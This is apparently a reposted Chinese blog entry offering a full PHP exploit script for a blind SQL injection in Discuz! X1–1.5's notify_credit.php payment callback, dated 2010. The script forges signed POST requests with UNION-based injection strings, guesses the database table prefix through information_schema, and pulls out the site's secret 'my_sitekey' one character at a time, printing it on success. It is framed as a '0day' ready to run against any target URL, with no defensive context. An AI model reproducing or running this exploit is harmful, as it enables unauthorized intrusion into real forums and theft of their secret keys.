DiscuzX1-1.5 Sql 0day!!

简介:

 RT~

 
  1. <?php 
  2. print_r(' 
  3. +---------------------------------------------------------------------------+ 
  4. Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit 
  5. by toby57    2010.11.05 
  6. mail: toby57 at 163 dot com 
  7. team: http://www.wolvez.org 
  8. +---------------------------------------------------------------------------+ 
  9. '); 
  10. if ($argc < 2) { 
  11.     print_r(' 
  12. +---------------------------------------------------------------------------+ 
  13. Usage: php '.$argv[0].' url [pre] 
  14. Example: 
  15. php '.$argv[0].' http://localhost/ 
  16. php '.$argv[0].' http://localhost/ xss_ 
  17. +---------------------------------------------------------------------------+ 
  18. '); 
  19.     exit
  20. error_reporting(7); 
  21. ini_set('max_execution_time', 0); 
  22. $url = $argv[1]; 
  23. $pre = $argv[2]?$argv[2]:'pre_'
  24. $target = parse_url($url); 
  25. extract($target); 
  26. $path .= '/api/trade/notify_credit.php'
  27. $hash = array(); 
  28. $hash = array_merge($hash, range(48, 57)); 
  29. $hash = array_merge($hash, range(97, 102)); 
  30.  
  31. $tmp_expstr = "'"
  32. $res = send(); 
  33. if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');} 
  34. preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match); 
  35. if($match[1])$pre = $match[1]; 
  36. $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='"
  37. $res = send(); 
  38. if(strpos($res,"doesn't exist")!==false){ 
  39.     echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n"
  40.     for($i = 1;$i<20;$i++){ 
  41.     $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='"
  42.     $res = send(); 
  43.  
  44.     if(strpos($res,'SQL syntax')!==false){   
  45.  
  46.     $pre = ''
  47.     $hash2 = array(); 
  48.     $hash2 = array_merge($hash2, range(48, 57)); 
  49.     $hash2 = array_merge($hash2, range(97, 122)); 
  50.     $hash2[] = 95; 
  51.     for($j = 1;$j <= $i$j++){ 
  52.     for ($k = 0; $k <= 255; $k++) { 
  53.     if(in_array($k$hash2)) { 
  54.     $char = dechex($k); 
  55.     $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='"
  56.     $res = send(); 
  57.     if(strpos($res,'SQL syntax')!==false){ 
  58.         echo chr($k); 
  59.         $pre .= chr($k);break
  60.     }  
  61.     }  
  62.     }     
  63.     }     
  64.     if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');}; 
  65.     }    }    }; 
  66. echo "Please Waiting....\n"
  67. $sitekey = ''
  68. for($i = 1;$i <= 32; $i++){ 
  69.   for ($k = 0; $k <= 255; $k++) { 
  70.     if(in_array($k$hash)) { 
  71.     $char = dechex($k); 
  72. $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='"
  73. $res = send(); 
  74. if(strpos($res,'SQL syntax')!==false){ 
  75.         echo chr($k); 
  76.         $sitekey .= chr($k);break
  77. }}}} 
  78. if(strlen($sitekey)!=32)die("\n".'can NOT get the my_sitekey..'); 
  79. echo "\n".'Exploit Successfully.'."\nmy_sitekey:{$sitekey}"
  80. exit
  81.  
  82. function sign($exp_str){ 
  83.     return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key="); 
  84.  
  85. function send(){ 
  86.     global $host$path$tmp_expstr
  87.      
  88.     $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr); 
  89.     $data  = "POST $path HTTP/1.1\r\n"
  90.     $data .= "Host: $host\r\n"
  91.     $data .= "Content-Type: application/x-www-form-urlencoded\r\n"
  92.     $data .= "Content-Length: ".strlen($expdata)."\r\n"
  93.     $data .= "Connection: Close\r\n\r\n"
  94.     $data .= $expdata
  95.     $fp = fsockopen($host, 80); 
  96.     fputs($fp$data); 
  97.     $resp = ''
  98.     while ($fp && !feof($fp)) 
  99.         $resp .= fread($fp, 1024); 
  100.     return $resp
  101. }   
  102. ?> 

 










本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/579638,如需转载请自行联系原作者

相关文章
|
3天前
|
云安全 人工智能 自然语言处理
|
7天前
|
人工智能 Java API
Java 正式进入 Agentic AI 时代:Spring AI Alibaba 1.1 发布背后的技术演进
Spring AI Alibaba 1.1 正式发布,提供极简方式构建企业级AI智能体。基于ReactAgent核心,支持多智能体协作、上下文工程与生产级管控,助力开发者快速打造可靠、可扩展的智能应用。
719 17
|
10天前
|
数据采集 人工智能 自然语言处理
Meta SAM3开源:让图像分割,听懂你的话
Meta发布并开源SAM 3,首个支持文本或视觉提示的统一图像视频分割模型,可精准分割“红色条纹伞”等开放词汇概念,覆盖400万独特概念,性能达人类水平75%–80%,推动视觉分割新突破。
752 57
Meta SAM3开源:让图像分割,听懂你的话
|
8天前
|
搜索推荐 编译器 Linux
一个可用于企业开发及通用跨平台的Makefile文件
一款适用于企业级开发的通用跨平台Makefile,支持C/C++混合编译、多目标输出(可执行文件、静态/动态库)、Release/Debug版本管理。配置简洁,仅需修改带`MF_CONFIGURE_`前缀的变量,支持脚本化配置与子Makefile管理,具备完善日志、错误提示和跨平台兼容性,附详细文档与示例,便于学习与集成。
329 116
|
10天前
|
机器学习/深度学习 人工智能 自然语言处理
AgentEvolver:让智能体系统学会「自我进化」
AgentEvolver 是一个自进化智能体系统,通过自我任务生成、经验导航与反思归因三大机制,推动AI从“被动执行”迈向“主动学习”。它显著提升强化学习效率,在更少参数下实现更强性能,助力智能体持续自我迭代。开源地址:https://github.com/modelscope/AgentEvolver
497 37
|
23天前
|
域名解析 人工智能
【实操攻略】手把手教学,免费领取.CN域名
即日起至2025年12月31日,购买万小智AI建站或云·企业官网,每单可免费领1个.CN域名首年!跟我了解领取攻略吧~
|
2天前
|
Rust 安全
掌握Rust文件读取(从零开始的IO操作指南)
本教程手把手教你用Rust读取文件,涵盖`read_to_string`一次性读取和`BufReader`逐行高效读取,适合初学者掌握安全、高效的Rust文件操作,助你轻松入门系统编程。
150 113

热门文章

最新文章